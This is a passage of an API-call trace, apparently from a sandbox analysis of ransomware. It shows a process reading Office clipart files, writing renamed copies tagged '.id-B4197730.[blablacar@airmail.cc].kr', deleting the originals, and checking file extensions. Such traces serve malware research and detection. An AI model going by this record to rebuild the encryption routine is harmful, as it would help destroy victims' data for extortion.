dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0194.488] GetLastError () returned 0x0 [0194.488] ReadFile (in: hFile=0x410, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x112c, lpOverlapped=0x0) returned 1 [0194.490] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1130, lpOverlapped=0x0) returned 1 [0194.491] ReadFile (in: hFile=0x410, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0194.491] WriteFile (in: hFile=0x4d4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0194.491] SetEndOfFile (hFile=0x4d4) returned 1 [0194.491] CloseHandle (hObject=0x4d4) returned 1 [0194.491] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.491] SetEndOfFile (hFile=0x410) returned 1 [0194.694] CloseHandle (hObject=0x410) returned 1 [0194.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 1 [0194.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0194.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0194.695] lstrlenW (lpString=".doc") returned 4 [0194.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.695] lstrlenW (lpString=".docx") returned 5 [0194.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.695] lstrlenW (lpString=".pdf") returned 4 [0194.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.695] lstrlenW (lpString=".xls") returned 4 [0194.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.695] lstrlenW (lpString=".xlsx") returned 5 [0194.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.696] lstrlenW (lpString=".ppt") returned 4 [0194.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0194.696] lstrlenW (lpString=".zip") returned 4 [0194.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.696] lstrlenW (lpString=".rar") returned 4 [0194.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.696] lstrlenW (lpString=".bz2") returned 4 [0194.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.696] lstrlenW (lpString=".7z") returned 3 [0194.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0194.696] lstrlenW (lpString=".dbf") returned 4 [0194.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0194.696] lstrlenW (lpString=".1cd") returned 4 [0194.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0194.696] lstrlenW (lpString=".jpg") returned 4 [0194.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0194.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0194.696] lstrlenW (lpString=".doc") returned 4 [0194.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.696] lstrlenW (lpString=".docx") returned 5 [0194.696] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.696] lstrlenW (lpString=".pdf") returned 4 [0194.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.696] lstrlenW (lpString=".xls") returned 4 [0194.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.697] lstrlenW (lpString=".xlsx") returned 5 [0194.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.697] lstrlenW (lpString=".ppt") returned 4 [0194.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0194.697] lstrlenW (lpString=".zip") returned 4 [0194.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.697] lstrlenW (lpString=".rar") returned 4 [0194.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.697] lstrlenW (lpString=".bz2") returned 4 [0194.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.697] lstrlenW (lpString=".7z") returned 3 [0194.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0194.697] lstrlenW (lpString=".dbf") returned 4 [0194.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0194.697] lstrlenW (lpString=".1cd") returned 4 [0194.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0194.697] lstrlenW (lpString=".jpg") returned 4 [0194.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.697] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.697] lstrlenW (lpString="FLAP.WMF") returned 8 [0194.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0194.699] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2070) returned 1 [0194.700] CloseHandle (hObject=0x410) returned 1 [0194.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 0x220 [0194.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0194.700] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.700] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.701] GetLastError () returned 0x0 [0194.701] ReadFile (in: hFile=0x410, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x816, lpOverlapped=0x0) returned 1 [0194.703] WriteFile (in: hFile=0x370, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x820, lpOverlapped=0x0) returned 1 [0194.704] ReadFile (in: hFile=0x410, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0194.704] WriteFile (in: hFile=0x370, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xe4, lpOverlapped=0x0) returned 1 [0194.704] SetEndOfFile (hFile=0x370) returned 1 [0194.704] CloseHandle (hObject=0x370) returned 1 [0194.704] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.704] SetEndOfFile (hFile=0x410) returned 1 [0194.708] CloseHandle (hObject=0x410) returned 1 [0194.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 1 [0194.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0194.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0194.709] lstrlenW (lpString=".doc") returned 4 [0194.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.709] lstrlenW (lpString=".docx") returned 5 [0194.709] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0194.709] lstrlenW (lpString=".pdf") returned 4 [0194.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.709] lstrlenW (lpString=".xls") returned 4 [0194.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.709] lstrlenW (lpString=".xlsx") returned 5 [0194.709] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0194.709] lstrlenW (lpString=".ppt") returned 4 [0194.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0194.709] lstrlenW (lpString=".zip") returned 4 [0194.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.709] lstrlenW (lpString=".rar") returned 4 [0194.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.709] lstrlenW (lpString=".bz2") returned 4 [0194.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.709] lstrlenW (lpString=".7z") returned 3 [0194.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0194.710] lstrlenW (lpString=".dbf") returned 4 [0194.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0194.710] lstrlenW (lpString=".1cd") returned 4 [0194.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0194.710] lstrlenW (lpString=".jpg") returned 4 [0194.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0194.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0194.710] lstrlenW (lpString=".doc") returned 4 [0194.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.710] lstrlenW (lpString=".docx") returned 5 [0194.710] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0194.710] lstrlenW (lpString=".pdf") returned 4 [0194.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.710] lstrlenW (lpString=".xls") returned 4 [0194.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.710] lstrlenW (lpString=".xlsx") returned 5 [0194.710] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0194.710] lstrlenW (lpString=".ppt") returned 4 [0194.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0194.710] lstrlenW (lpString=".zip") returned 4 [0194.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.710] lstrlenW (lpString=".rar") returned 4 [0194.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.710] lstrlenW (lpString=".bz2") returned 4 [0194.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.711] lstrlenW (lpString=".7z") returned 3 [0194.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0194.711] lstrlenW (lpString=".dbf") returned 4 [0194.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0194.711] lstrlenW (lpString=".1cd") returned 4 [0194.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0194.711] lstrlenW (lpString=".jpg") returned 4 [0194.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.711] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.711] lstrlenW (lpString="HH00057_.WMF") returned 12 [0194.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0194.712] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3764) returned 1 [0194.712] CloseHandle (hObject=0x410) returned 1 [0194.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x220 [0194.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0194.713] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.713] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.714] GetLastError () returned 0x0 [0194.714] ReadFile (in: hFile=0x410, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xeb4, lpOverlapped=0x0) returned 1 [0194.715] WriteFile (in: hFile=0x370, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec0, lpOverlapped=0x0) returned 1 [0194.716] ReadFile (in: hFile=0x410, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0194.716] WriteFile (in: hFile=0x370, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0194.716] SetEndOfFile (hFile=0x370) returned 1 [0194.717] CloseHandle (hObject=0x370) returned 1 [0194.717] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.717] SetEndOfFile (hFile=0x410) returned 1 [0194.720] CloseHandle (hObject=0x410) returned 1 [0194.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 1 [0194.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0194.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0194.721] lstrlenW (lpString=".doc") returned 4 [0194.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.721] lstrlenW (lpString=".docx") returned 5 [0194.721] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.721] lstrlenW (lpString=".pdf") returned 4 [0194.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.721] lstrlenW (lpString=".xls") returned 4 [0194.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.722] lstrlenW (lpString=".xlsx") returned 5 [0194.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.722] lstrlenW (lpString=".ppt") returned 4 [0194.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0194.722] lstrlenW (lpString=".zip") returned 4 [0194.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.722] lstrlenW (lpString=".rar") returned 4 [0194.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.722] lstrlenW (lpString=".bz2") returned 4 [0194.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.722] lstrlenW (lpString=".7z") returned 3 [0194.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0194.722] lstrlenW (lpString=".dbf") returned 4 [0194.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0194.722] lstrlenW (lpString=".1cd") returned 4 [0194.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0194.722] lstrlenW (lpString=".jpg") returned 4 [0194.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0194.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0194.722] lstrlenW (lpString=".doc") returned 4 [0194.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.722] lstrlenW (lpString=".docx") returned 5 [0194.722] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.723] lstrlenW (lpString=".pdf") returned 4 [0194.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.723] lstrlenW (lpString=".xls") returned 4 [0194.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.723] lstrlenW (lpString=".xlsx") returned 5 [0194.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.723] lstrlenW (lpString=".ppt") returned 4 [0194.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0194.723] lstrlenW (lpString=".zip") returned 4 [0194.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.723] lstrlenW (lpString=".rar") returned 4 [0194.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.723] lstrlenW (lpString=".bz2") returned 4 [0194.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.723] lstrlenW (lpString=".7z") returned 3 [0194.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0194.723] lstrlenW (lpString=".dbf") returned 4 [0194.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0194.723] lstrlenW (lpString=".1cd") returned 4 [0194.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0194.723] lstrlenW (lpString=".jpg") returned 4 [0194.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.724] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.724] lstrlenW (lpString="HH00084_.WMF") returned 12 [0194.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0194.725] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2472) returned 1 [0194.725] CloseHandle (hObject=0x410) returned 1 [0194.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x220 [0194.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0194.726] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.726] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0194.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.726] GetLastError () returned 0x0 [0194.726] ReadFile (in: hFile=0x410, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x9a8, lpOverlapped=0x0) returned 1 [0194.896] WriteFile (in: hFile=0x370, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: 